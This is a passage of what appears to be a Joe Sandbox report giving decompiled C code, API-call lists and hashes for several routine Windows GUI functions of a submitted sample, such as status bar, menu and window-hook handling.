API ID: ByteCharLocaleMultiWide$UpdateUpdate::___isleadbyte_l
String ID:
API String ID: 3058430110-0
Opcode ID: fb555f904d36f22f589a33711cb5fe66ef35468f43816d86957d216a7c960c2c
Instruction ID: aceab5c55a078b6bb34784849dcf526828582dd9010847a557f7af685aba5c87
Opcode Fuzzy Hash: fb555f904d36f22f589a33711cb5fe66ef35468f43816d86957d216a7c960c2c
Instruction Fuzzy Hash: 1C31CD31A00285EFDB21CFA8E881DBA7BB5BF05314F1585A9F4A98B1D1D7B2DD80DB50

Uniqueness

Uniqueness Score: -1.00%

Function 000FD300 Relevance: 6.1, APIs: 4, Instructions: 93
windowCOMMON

Download Yara Rule

C-Code - Quality: 94%

			E000FD300(unsigned int __ecx, intOrPtr __edi, intOrPtr __esi, intOrPtr _a4) {
				signed int _v8;
				char _v264;
				signed int _t16;
				signed char _t19;
				signed short _t25;
				int _t27;
				intOrPtr _t34;
				signed short _t35;
				void* _t40;
				intOrPtr _t50;
				intOrPtr _t51;
				signed int _t53;

				_t51 = __esi;
				_t50 = __edi;
				_t35 = __ecx;
				_t16 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t16 ^ _t53;
				_t19 = __ecx >> 0x10;
				_t41 = 0xffff;
				if(_t19 != 0xffff || _a4 != 0) {
					_v264 = 0;
					if((_t19 & 0x00000010) != 0) {
						L19:
						SendMessageA( *(_t50 + 0x28), 0x409, 1, 0);
						_t41 =  &_v264;
						SendMessageA( *(_t50 + 0x28), 0x401, 0x1ff,  &_v264);
						_t51 = _t51;
						goto L20;
					}
					_t25 = _t35 & 0x0000ffff;
					if(_t35 < 0xf000 || _t35 >= 0xf1f0) {
						if(_t35 < 0xe110 || _t35 > 0xe11f) {
							if(_t35 >= 0xff00 && _t35 <= 0xfffd) {
								_t25 = 0xef1f;
							}
						} else {
							_t25 = 0xefda;
						}
					} else {
						_t25 = ((_t35 & 0x0000ffff) - 0x0000f000 >> 0x00000004) - 0x00001100 & 0x0000ffff;
					}
					_t27 = LoadStringA( *0x170c0c, _t25 & 0x0000ffff,  &_v264, 0x100);
					_t40 = 0;
					if(_t27 > 0) {
						while( *((intOrPtr*)(_t53 + _t40 - 0x104)) != 0xa) {
							_t40 = _t40 + 1;
							if(_t40 < _t27) {
								continue;
							}
							goto L19;
						}
						 *((char*)(_t53 + _t40 - 0x104)) = 0;
					}
					goto L19;
				} else {
					SendMessageA( *(__edi + 0x28), 0x409, 0, 0);
					L20:
					return E001059E6(1, _t34, _v8 ^ _t53, _t41, _t50, _t51);
				}
			}

0x000fd300
0x000fd300
0x000fd300
0x000fd309
0x000fd310
0x000fd315
0x000fd318
0x000fd320
0x000fd340
0x000fd349
0x000fd3eb
0x000fd3ff
0x000fd404
0x000fd416
0x000fd418
0x00000000
0x000fd418
0x000fd354
0x000fd35a
0x000fd383
0x000fd39e
0x000fd3aa
0x000fd3aa
0x000fd38f
0x000fd38f
0x000fd38f
0x000fd366
0x000fd376
0x000fd376
0x000fd3c5
0x000fd3cb
0x000fd3cf
0x000fd3d3
0x000fd3dc
0x000fd3df
0x00000000
0x00000000
0x00000000
0x000fd3e1
0x000fd3e3
0x000fd3e3
0x00000000
0x000fd328
0x000fd335
0x000fd419
0x000fd42b
0x000fd42b

APIs

SendMessageA.USER32(00000000,00000409,00000000,00000000), ref: 000FD335
LoadStringA.USER32 ref: 000FD3C5
SendMessageA.USER32(00000000,00000409,00000001,00000000), ref: 000FD3FF
SendMessageA.USER32(00000000,00000401,000001FF,00000000), ref: 000FD416

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSend$LoadString
String ID:
API String ID: 4010343828-0
Opcode ID: 9d4f62b3bcb62e1e1aa55c586fe4f7917d69c64287ba0c42c049ea6bafcf0249
Instruction ID: 1ab4efad16f3a7ba72138b313610337bc8f17e1d49a5cd66987c008385e5958a
Opcode Fuzzy Hash: 9d4f62b3bcb62e1e1aa55c586fe4f7917d69c64287ba0c42c049ea6bafcf0249
Instruction Fuzzy Hash: 4031F57061416E9BEB20A654C885BFA3397DB65300F504076F3829BEC0D5B89A81A752

Uniqueness

Uniqueness Score: -1.00%

Function 00101030 Relevance: 6.1, APIs: 4, Instructions: 89
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00101030(intOrPtr __edi, intOrPtr _a4) {
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				void* _v28;
				struct tagRECT _v44;
				signed char _v48;
				signed char _v52;
				signed char _v56;
				signed char _v60;
				void* _v64;
				signed char _v68;
				void* __ebx;
				void* __esi;
				signed int _t37;
				intOrPtr _t51;
				intOrPtr _t60;
				int _t61;
				signed int _t62;

				_t60 = __edi;
				_t37 =  *0x159060; // 0x1f9a9bdf
				_t38 = _t37 ^ _t62;
				_v12 = _t37 ^ _t62;
				_t51 = _a4;
				if(_t51 == 0xffffffff) {
					L9:
					return E001059E6(_t38 | 0xffffffff, _t51, _v12 ^ _t62, _t59, _t60, _t61);
				} else {
					_v44.left = 0;
					_v44.top = 0;
					_v44.right = 0;
					_v44.bottom = 0;
					GetClientRect( *(__edi + 4),  &_v44);
					_t59 =  *(__edi + 0x44);
					_t38 = GetMenuItemCount( *(__edi + 0x44));
					_t61 = _t51 + 1;
					_v68 = _t38;
					if(_t61 == _t51) {
						goto L9;
					} else {
						_t51 = SendMessageA;
						L3:
						L3:
						if(_t61 >= _v68) {
							_t61 = 0;
						}
						_v64 = 0;
						_v60 = 0;
						_v56 = 0;
						_v52 = 0;
						_v48 = 0;
						SendMessageA( *(_t60 + 4), 0x417, _t61,  &_v64);
						_t59 =  &_v28;
						_v28 = 0;
						_v24 = 0;
						_v20 = 0;
						_v16 = 0;
						_t38 = SendMessageA( *(_t60 + 4), 0x41d, _t61,  &_v28);
						if(_v20 > _v44.right) {
							goto L10;
						}
						_t38 = _v56;
						if((_t38 & 0x00000004) == 0 || (_t38 & 0x00000008) != 0) {
							_t61 = _t61 + 1;
							if(_t61 != _a4) {
								goto L3;
							} else {
								goto L9;
							}
						} else {
							L11:
							if(_t61 == _a4) {
								goto L9;
							} else {
								return E001059E6(_t61, _t51, _v12 ^ _t62, _t59, _t60, _t61);
							}
						}
						goto L13;
						L10:
						_t61 = 0xfffffffe;
						goto L11;
					}
				}
				L13:
			}

0x00101030
0x00101036
0x0010103b
0x0010103d
0x00101041
0x00101048
0x001010e3
0x001010f5
0x0010104e
0x00101053
0x00101056
0x00101059
0x0010105c
0x00101064
0x0010106a
0x0010106e
0x00101074
0x00101077
0x0010107c
0x00000000
0x0010107e
0x0010107e
0x00000000
0x00101084
0x00101087
0x00101089
0x00101089
0x00101090
0x00101093
0x00101096
0x00101099
0x0010109c
0x001010aa
0x001010ae
0x001010b3
0x001010b6
0x001010b9
0x001010bc
0x001010c8
0x001010d0
0x00000000
0x00000000
0x001010d2
0x001010d7
0x001010dd
0x001010e1
0x00000000
0x00000000
0x00000000
0x00000000
0x001010fd
0x001010fd
0x00101100
0x00000000
0x00101102
0x00101113
0x00101113
0x00101100
0x00000000
0x001010f8
0x001010f8
0x00000000
0x001010f8
0x0010107c
0x00000000

APIs

GetClientRect.USER32 ref: 00101064
GetMenuItemCount.USER32 ref: 0010106E
SendMessageA.USER32(?,00000417,?,?), ref: 001010AA
SendMessageA.USER32(?,0000041D,?,?), ref: 001010C8

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSend$ClientCountItemMenuRect
String ID:
API String ID: 4098442271-0
Opcode ID: 75637e6e92d0f7138c334752eb2919c2005ee934af92498b4c5dae486f7d49dd
Instruction ID: 82eb09ff54a499f6cbc739f09aacace96adbf525e393a3ab600b0f2267ed0630
Opcode Fuzzy Hash: 75637e6e92d0f7138c334752eb2919c2005ee934af92498b4c5dae486f7d49dd
Instruction Fuzzy Hash: 0F3103B1D04218AFCB54DFA9D9819EEFBF4FF08310F10422AE995E7680D775A981CB90

Uniqueness

Uniqueness Score: -1.00%

Function 000F9BC0 Relevance: 6.1, APIs: 4, Instructions: 88
COMMON

Download Yara Rule

C-Code - Quality: 92%

			E000F9BC0(intOrPtr __ecx, CHAR* __edx, void* __eflags, int _a4) {
				signed int _v8;
				char _v276;
				intOrPtr _v280;
				CHAR* _v284;
				void* __ebx;
				void* __edi;
				void* __esi;
				signed int _t19;
				signed int _t23;
				signed int _t28;
				intOrPtr _t30;
				intOrPtr _t50;
				signed int _t53;
				intOrPtr* _t54;

				_t47 = __edx;
				_t19 =  *0x159060; // 0x1f9a9bdf
				_v8 = _t19 ^ _t53;
				_t50 = __ecx;
				_t52 = __ecx + 0x38;
				_v280 = __ecx;
				_t38 = __edx;
				 *_t54 = 0;
				if(E000FCCE0(__ecx + 0x38, __ecx) != 0) {
					_t23 =  *_t38;
					__eflags = _t23;
					if(__eflags != 0) {
						__eflags = _t23 - 0x22;
						if(__eflags == 0) {
							_t38 =  &(_t38[1]);
							_t52 = 0;
							__eflags = lstrlenA(_t38);
							if(__eflags > 0) {
								while(1) {
									__eflags =  *((char*)(_t52 + _t38)) - 0x22;
									if(__eflags == 0) {
										break;
									}
									_t52 = _t52 + 1;
									__eflags = _t52 - lstrlenA(_t38);
									if(__eflags < 0) {
										continue;
									} else {
									}
									goto L11;
								}
								 *((char*)(_t52 + _t38)) = 0;
							}
							L11:
							_t50 = _v280;
						}
						_v284 = 0;
						GetFullPathNameA(_t38, 0x104,  &_v276,  &_v284);
						_t48 = _v284;
						_t28 = E000F8380(_t50 + 0x38, __eflags,  &_v276, _v284);
						__eflags = _t28;
						if(_t28 != 0) {
							_t38 = _t50 + 0x140;
							E000FB170(_t50 + 0x140,  &_v276, _t48);
						}
					} else {
						E000F8220(_t52, __eflags);
					}
					ShowWindow( *(_t50 + 0x3c), _a4);
					_t30 = E000F49A0(_a4, _t50);
					__eflags = _v8 ^ _t53;
					return E001059E6(_t30, _t38, _v8 ^ _t53,  *(_t50 + 0x3c), _t50, _t52);
				} else {
					return E001059E6(_t22, _t38, _v8 ^ _t53, _t47, _t50, _t52);
				}
			}

0x000f9bc0
0x000f9bc9
0x000f9bd0
0x000f9bd6
0x000f9bdb
0x000f9bde
0x000f9be4
0x000f9be6
0x000f9bf3
0x000f9c08
0x000f9c0a
0x000f9c0c
0x000f9c1a
0x000f9c1c
0x000f9c24
0x000f9c26
0x000f9c2a
0x000f9c2c
0x000f9c30
0x000f9c30
0x000f9c34
0x00000000
0x00000000
0x000f9c37
0x000f9c3a
0x000f9c3c
0x00000000
0x00000000
0x000f9c3e
0x00000000
0x000f9c3c
0x000f9c40
0x000f9c40
0x000f9c44
0x000f9c44
0x000f9c44
0x000f9c5e
0x000f9c68
0x000f9c6e
0x000f9c7f
0x000f9c84
0x000f9c86
0x000f9c88
0x000f9c94
0x000f9c94
0x000f9c0e
0x000f9c10
0x000f9c10
0x000f9ca1
0x000f9ca7
0x000f9cb1
0x000f9cbc
0x000f9bf8
0x000f9c05
0x000f9c05

APIs

Part of subcall function 000FCCE0: LoadStringA.USER32 ref: 000FCD16
Part of subcall function 000FCCE0: LoadMenuA.USER32 ref: 000FCD2B
Part of subcall function 000FCCE0: LoadAcceleratorsA.USER32 ref: 000FCD91

ShowWindow.USER32(?,?,?,00000000,?,00000104,?,?), ref: 000F9CA1

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: Load$AcceleratorsMenuShowStringWindow
String ID:
API String ID: 1999622886-0
Opcode ID: eeb41a175a518f041456caa9681d057ae5d643293981436cd7ad23d9a8428077
Instruction ID: 3bebb286ae3bbeed7dd345876df4d437940fde7a3132e4329973e0dff66566ee
Opcode Fuzzy Hash: eeb41a175a518f041456caa9681d057ae5d643293981436cd7ad23d9a8428077
Instruction Fuzzy Hash: 9621E47260011C9BDB69DB24DD82BFAB3E8FF94300F104099E74997941DB70AE82DBE0

Uniqueness

Uniqueness Score: -1.00%

Function 00100F60 Relevance: 6.1, APIs: 4, Instructions: 78
windowCOMMON

Download Yara Rule

C-Code - Quality: 90%

			E00100F60(intOrPtr __edi, intOrPtr _a4) {
				signed int _v12;
				signed char _v16;
				signed char _v20;
				signed char _v24;
				signed char _v28;
				void* _v32;
				struct tagRECT _v48;
				intOrPtr _v56;
				void* _v64;
				void* __ebx;
				void* __esi;
				signed int _t28;
				intOrPtr _t40;
				intOrPtr _t50;
				int _t51;
				signed int _t52;

				_t50 = __edi;
				_t28 =  *0x159060; // 0x1f9a9bdf
				_t29 = _t28 ^ _t52;
				_v12 = _t28 ^ _t52;
				_t40 = _a4;
				if(_t40 == 0xffffffff) {
					L9:
					return E001059E6(_t29 | 0xffffffff, _t40, _v12 ^ _t52, _t48, _t50, _t51);
				} else {
					_t29 = GetClientRect( *(__edi + 4),  &_v48);
					_t51 = _t40 - 1;
					if(_t51 == _t40) {
						goto L9;
					} else {
						_t40 = SendMessageA;
						L3:
						L3:
						if(_t51 < 0) {
							_t7 = GetMenuItemCount( *(_t50 + 0x44)) - 1; // -1
							_t51 = _t7;
						}
						_v32 = 0;
						_v28 = 0;
						_v24 = 0;
						_v20 = 0;
						_v16 = 0;
						SendMessageA( *(_t50 + 4), 0x417, _t51,  &_v32);
						_t48 =  &_v64;
						_t29 = SendMessageA( *(_t50 + 4), 0x41d, _t51,  &_v64);
						if(_v56 > _v48.right) {
							goto L10;
						}
						_t29 = _v24;
						if((_t29 & 0x00000004) == 0 || (_t29 & 0x00000008) != 0) {
							_t51 = _t51 - 1;
							if(_t51 != _a4) {
								goto L3;
							} else {
								goto L9;
							}
						} else {
							L11:
							if(_t51 == _a4) {
								goto L9;
							} else {
								return E001059E6(_t51, _t40, _v12 ^ _t52, _t48, _t50, _t51);
							}
						}
						goto L13;
						L10:
						_t51 = 0xfffffffe;
						goto L11;
					}
				}
				L13:
			}

0x00100f60
0x00100f66
0x00100f6b
0x00100f6d
0x00100f71
0x00100f78
0x00100ff0
0x00101002
0x00100f7a
0x00100f82
0x00100f88
0x00100f8d
0x00000000
0x00100f8f
0x00100f8f
0x00000000
0x00100f95
0x00100f97
0x00100fa3
0x00100fa3
0x00100fa3
0x00100fab
0x00100fae
0x00100fb1
0x00100fb4
0x00100fb7
0x00100fc5
0x00100fca
0x00100fd5
0x00100fdd
0x00000000
0x00000000
0x00100fdf
0x00100fe4
0x00100fea
0x00100fee
0x00000000
0x00000000
0x00000000
0x00000000
0x0010100a
0x0010100a
0x0010100d
0x00000000
0x0010100f
0x00101020
0x00101020
0x0010100d
0x00000000
0x00101005
0x00101005
0x00000000
0x00101005
0x00100f8d
0x00000000

APIs

GetClientRect.USER32 ref: 00100F82
GetMenuItemCount.USER32 ref: 00100F9D
SendMessageA.USER32(?,00000417,?,?), ref: 00100FC5
SendMessageA.USER32(?,0000041D,?,?), ref: 00100FD5

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: MessageSend$ClientCountItemMenuRect
String ID:
API String ID: 4098442271-0
Opcode ID: cdb7d63c524ddc3c187b491e879820b3ae43d0569747f550ccec85b087b664e9
Instruction ID: 3737a7fcf24bfa309571c91b4a30525628874e6ebdc4a1ce3e990dc91473cd0b
Opcode Fuzzy Hash: cdb7d63c524ddc3c187b491e879820b3ae43d0569747f550ccec85b087b664e9
Instruction Fuzzy Hash: 67215171E0061AAFCB15DFA8D984AEEF7B4FF08324F004219E969A7291D771AD41CBD0

Uniqueness

Uniqueness Score: -1.00%

Function 000FDD83 Relevance: 6.1, APIs: 4, Instructions: 73
threadCOMMON

Download Yara Rule

C-Code - Quality: 74%

			E000FDD83(char _a4, long _a8, long* _a12) {
				char _v4;
				long _v8;
				intOrPtr _v12;
				char _v16;
				long _v20;
				struct _CRITICAL_SECTION* _v24;
				long _t50;
				signed int _t51;
				long* _t52;
				long* _t53;
				struct HHOOK__* _t56;
				signed int _t59;
				long _t64;
				void* _t69;
				struct HHOOK__** _t70;
				long _t73;
				void* _t76;
				int _t79;
				struct HHOOK__** _t85;
				intOrPtr* _t89;
				long _t92;
				struct HHOOK__** _t94;
				int* _t96;
				long* _t97;
				char _t98;
				long _t100;
				signed int _t105;
				long _t112;

				_t73 = _a8;
				_t112 =  *0x171994; // 0x0
				if(_t112 == 0) {
					L19:
					LeaveCriticalSection(0x170c68);
					 *(_t73 + 0x85) =  *(_t73 + 0x85) ^ (GetWindowLongA( *(_t73 + 4), 0xffffffec) >> 0x00000016 << 0x00000006 ^  *(_t73 + 0x85)) & 0x00000040;
					 *[fs:0x0] = _v12;
					return _v24;
				} else {
					_t50 = GetCurrentThreadId();
					_t96 =  *0x171994; // 0x0
					_t79 = _t96[2];
					_t92 = _t50;
					_t51 = 0;
					_v20 = _t92;
					if(_t79 <= 0) {
						L8:
						_t52 = 0;
						goto L12;
					} else {
						_t86 =  *_t96;
						while( *_t86 != _t92) {
							_t51 = _t51 + 1;
							_t86 = _t86 + 4;
							if(_t51 < _t79) {
								continue;
							} else {
								_t52 = 0;
								L12:
								_a12 = _t52;
								_t116 = _t52;
								if(_t52 != 0) {
									 *((intOrPtr*)(_t52 + 4)) =  *((intOrPtr*)(_t52 + 4)) + 1;
								} else {
									_push(8);
									_v4 = 3;
									_t53 = E001065FC(_t86, _t92, _t96, _t116);
									if(_t53 == 0) {
										_t97 = 0;
										_a12 = 0;
									} else {
										_t97 = _t53;
										 *_t53 = 0;
										_t53[1] = 0;
										_a12 = _t97;
									}
									_t56 = SetWindowsHookExA(3, E00100AF0,  *0x170c08, _t92);
									if(_t97 != 0) {
										_t119 = _t56;
										if(_t56 != 0) {
											 *_t97 = _t56;
											_t97[1] = 1;
											E00101AF0( &_v20, _t119,  &_v20,  &_a12);
										}
									}
								}
								goto L19;
							}
							goto L39;
						}
						__eflags = _t51 - 0xffffffff;
						if(__eflags != 0) {
							__eflags = _t51;
							if(_t51 < 0) {
								L21:
								RaiseException(0xc000008c, 1, 0, 0);
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								asm("int3");
								_push(0xffffffff);
								_push(E0010F618);
								_push( *[fs:0x0]);
								_push(_t73);
								_push(_t96);
								_push(_t92);
								_t59 =  *0x159060; // 0x1f9a9bdf
								_push(_t59 ^ _t105);
								 *[fs:0x0] =  &_v16;
								_t98 = _a4;
								_t64 = CallWindowProcA( *(_t98 + 0x40),  *(_t98 + 4), _t86, _t79, _a8);
								__eflags =  *(_t98 + 0x84) & 0x00000002;
								_a8 = _t64;
								if(( *(_t98 + 0x84) & 0x00000002) == 0) {
									_v24 = 0x170c68;
									_v8 = 0;
									EnterCriticalSection(0x170c68);
									__eflags =  *0x171994;
									_v20 = 1;
									if( *0x171994 != 0) {
										_t76 = GetCurrentThreadId();
										_a4 = _t76;
										_t94 = E00101B70( &_a4, _t92, _t98);
										__eflags = _t94;
										if(_t94 != 0) {
											_t37 =  &(_t94[1]);
											 *_t37 = _t94[1] - 1;
											__eflags =  *_t37;
											if( *_t37 != 0) {
												L34:
												_t100 =  *0x171994; // 0x0
											} else {
												UnhookWindowsHookEx( *_t94);
												_t100 =  *0x171994; // 0x0
												_t85 =  *(_t100 + 8);
												_t69 = 0;
												__eflags = _t85;
												if(_t85 > 0) {
													_t89 =  *_t100;
													while(1) {
														__eflags =  *_t89 - _t76;
														if( *_t89 == _t76) {
															break;
														}
														_t69 = _t69 + 1;
														_t89 = _t89 + 4;
														__eflags = _t69 - _t85;
														if(_t69 < _t85) {
															continue;
														} else {
														}
														goto L35;
													}
													__eflags = _t69 - 0xffffffff;
													if(_t69 != 0xffffffff) {
														_t70 = E00102BE0(_t69, _t100);
														__eflags = _t70;
														if(_t70 != 0) {
															_push(_t94);
															E001059DB();
														}
														goto L34;
													}
												}
											}
											L35:
											__eflags =  *(_t100 + 8);
											if( *(_t100 + 8) == 0) {
												E000FFF20(_t100);
												 *0x171994 = 0;
											}
										}
									}
									LeaveCriticalSection(0x170c68);
									_t64 = _a8;
								}
								 *[fs:0x0] = _v16;
								return _t64;
							} else {
								__eflags = _t51 - _t79;
								if(__eflags >= 0) {
									goto L21;
								} else {
									_t86 = _t96[1];
									_t52 =  *((intOrPtr*)(_t96[1] + _t51 * 4));
									goto L12;
								}
							}
						} else {
							goto L8;
						}
					}
				}
				L39:
			}

0x000fdd83
0x000fdd88
0x000fdd8e
0x000fde5c
0x000fde61
0x000fde81
0x000fde8d
0x000fde9b
0x000fdd94
0x000fdd94
0x000fdd9a
0x000fdda0
0x000fdda3
0x000fdda5
0x000fdda7
0x000fddac
0x000fddc5
0x000fddc5
0x00000000
0x000fddae
0x000fddae
0x000fddb0
0x000fddb4
0x000fddb5
0x000fddba
0x00000000
0x000fddbc
0x000fddbc
0x000fdde1
0x000fdde1
0x000fdde4
0x000fdde6
0x000fde9e
0x000fddec
0x000fddec
0x000fddee
0x000fddf2
0x000fddfc
0x000fde14
0x000fde16
0x000fddfe
0x000fddfe
0x000fde00
0x000fde06
0x000fde0d
0x000fde0d
0x000fde38
0x000fde40
0x000fde42
0x000fde44
0x000fde4d
0x000fde50
0x000fde57
0x000fde57
0x000fde44
0x000fde40
0x00000000
0x000fdde6
0x00000000
0x000fddba
0x000fddc0
0x000fddc3
0x000fddc9
0x000fddcb
0x000fdea3
0x000fdeae
0x000fdeb4
0x000fdeb5
0x000fdeb6
0x000fdeb7
0x000fdeb8
0x000fdeb9
0x000fdeba
0x000fdebb
0x000fdebc
0x000fdebd
0x000fdebe
0x000fdebf
0x000fdec3
0x000fdec5
0x000fded0
0x000fded4
0x000fded5
0x000fded6
0x000fded7
0x000fdede
0x000fdee2
0x000fdee8
0x000fdef9
0x000fdeff
0x000fdf06
0x000fdf09
0x000fdf0f
0x000fdf1b
0x000fdf22
0x000fdf28
0x000fdf2f
0x000fdf33
0x000fdf3b
0x000fdf40
0x000fdf48
0x000fdf4a
0x000fdf4c
0x000fdf4e
0x000fdf4e
0x000fdf4e
0x000fdf51
0x000fdf95
0x000fdf95
0x000fdf53
0x000fdf56
0x000fdf5c
0x000fdf62
0x000fdf65
0x000fdf67
0x000fdf69
0x000fdf6b
0x000fdf70
0x000fdf70
0x000fdf72
0x00000000
0x00000000
0x000fdf74
0x000fdf75
0x000fdf78
0x000fdf7a
0x00000000
0x00000000
0x000fdf7c
0x00000000
0x000fdf7a
0x000fdf7e
0x000fdf81
0x000fdf83
0x000fdf88
0x000fdf8a
0x000fdf8c
0x000fdf8d
0x000fdf92
0x00000000
0x000fdf8a
0x000fdf81
0x000fdf69
0x000fdf9b
0x000fdf9b
0x000fdf9f
0x000fdfa1
0x000fdfa6
0x000fdfa6
0x000fdf9f
0x000fdf4c
0x000fdfb5
0x000fdfbb
0x000fdfbb
0x000fdfc1
0x000fdfcf
0x000fddd1
0x000fddd1
0x000fddd3
0x00000000
0x000fddd9
0x000fddd9
0x000fdddf
0x00000000
0x000fdddf
0x000fddd3
0x00000000
0x00000000
0x00000000
0x000fddc3
0x000fddac
0x00000000

APIs

GetCurrentThreadId.KERNEL32 ref: 000FDD94
SetWindowsHookExA.USER32 ref: 000FDE38
LeaveCriticalSection.KERNEL32(00170C68), ref: 000FDE61
GetWindowLongA.USER32 ref: 000FDE6D
RaiseException.KERNEL32(C000008C,00000001,00000000,00000000), ref: 000FDEAE

Memory Dump Source

Source File: 00000000.00000002.711567392.00000000000F1000.00000020.00000001.01000000.00000003.sdmp, Offset: 000F0000, based on PE: true

Associated: 00000000.00000002.711475414.00000000000F0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000110000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712120214.0000000000120000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712610122.0000000000159000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.712714995.000000000015C000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713013679.0000000000170000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.713099356.0000000000173000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_f0000_fs7AQcREFX.jbxd

Similarity

API ID: CriticalCurrentExceptionHookLeaveLongRaiseSectionThreadWindowWindows
String ID:
API String ID: 1608875685-0
Opcode ID: 9559e6a6c35eb0418dec5c1d2abb6be4aa1fd2a5d39e096994bb62a8e0bc4be2
Instruction ID: 41433a9bcd27eb66068d21480e191981c0755660e37e03d483373ce2a8fdd09f
Opcode Fuzzy Hash: 9559e6a6c35eb0418dec5c1d2abb6be4aa1fd2a5d39e096994bb62a8e0bc4be2
Instruction Fuzzy Hash: B621CF72A003099FE712DF58DD41BBA7BF1EB98750F04C16AE949CB681DB709880DB60

Uniqueness

Uniqueness Score: -1.00%

Function 000F8FE7 Relevance: 6.1, APIs: 4, Instructions: 72
windowCOMMON

Download Yara Rule

C-Code - Quality: 78%

			E000F8FE7(intOrPtr __esi) {
				void* __edi;
				signed int _t33;
				long* _t35;
				long _t37;
				signed int _t44;
				intOrPtr _t47;
				intOrPtr _t49;
				intOrPtr _t59;
				void* _t65;
				struct HDC__* _t66;
				intOrPtr _t67;
				intOrPtr _t68;
				intOrPtr _t70;
				signed int _t71;
				void* _t73;

				_t68 = __esi;
				do {
					_t33 =  *(_t68 + 0x534);
					if( *(_t68 + 0x530) != _t33) {
						L10:
						_t35 =  *((intOrPtr*)(_t68 + 0x52c)) +  *(_t68 + 0x530) * 4;
						if(_t35 != 0) {
							 *_t35 =  *(_t71 - 0x1c);
						}
						 *(_t68 + 0x530) =  *(_t68 + 0x530) + 1;
						goto L13;
					} else {
						_t59 =  *((intOrPtr*)(_t68 + 0x52c));
						_t65 = _t71 - 0x1c;
						if(_t65 < _t59 || _t65 >= _t59 + _t33 * 4) {
							if(_t33 != 0) {
								_t44 =  *(_t68 + 0x530) +  *(_t68 + 0x530);
								 *(_t71 - 0x48) = _t44;
								if(_t44 >= 0 && _t44 <= 0x1fffffff) {
									goto L8;
								}
							} else {
								 *(_t71 - 0x48) = 1;
								L8:
								_t47 = E00106254( *((intOrPtr*)(_t68 + 0x52c)),  *(_t71 - 0x48), 4);
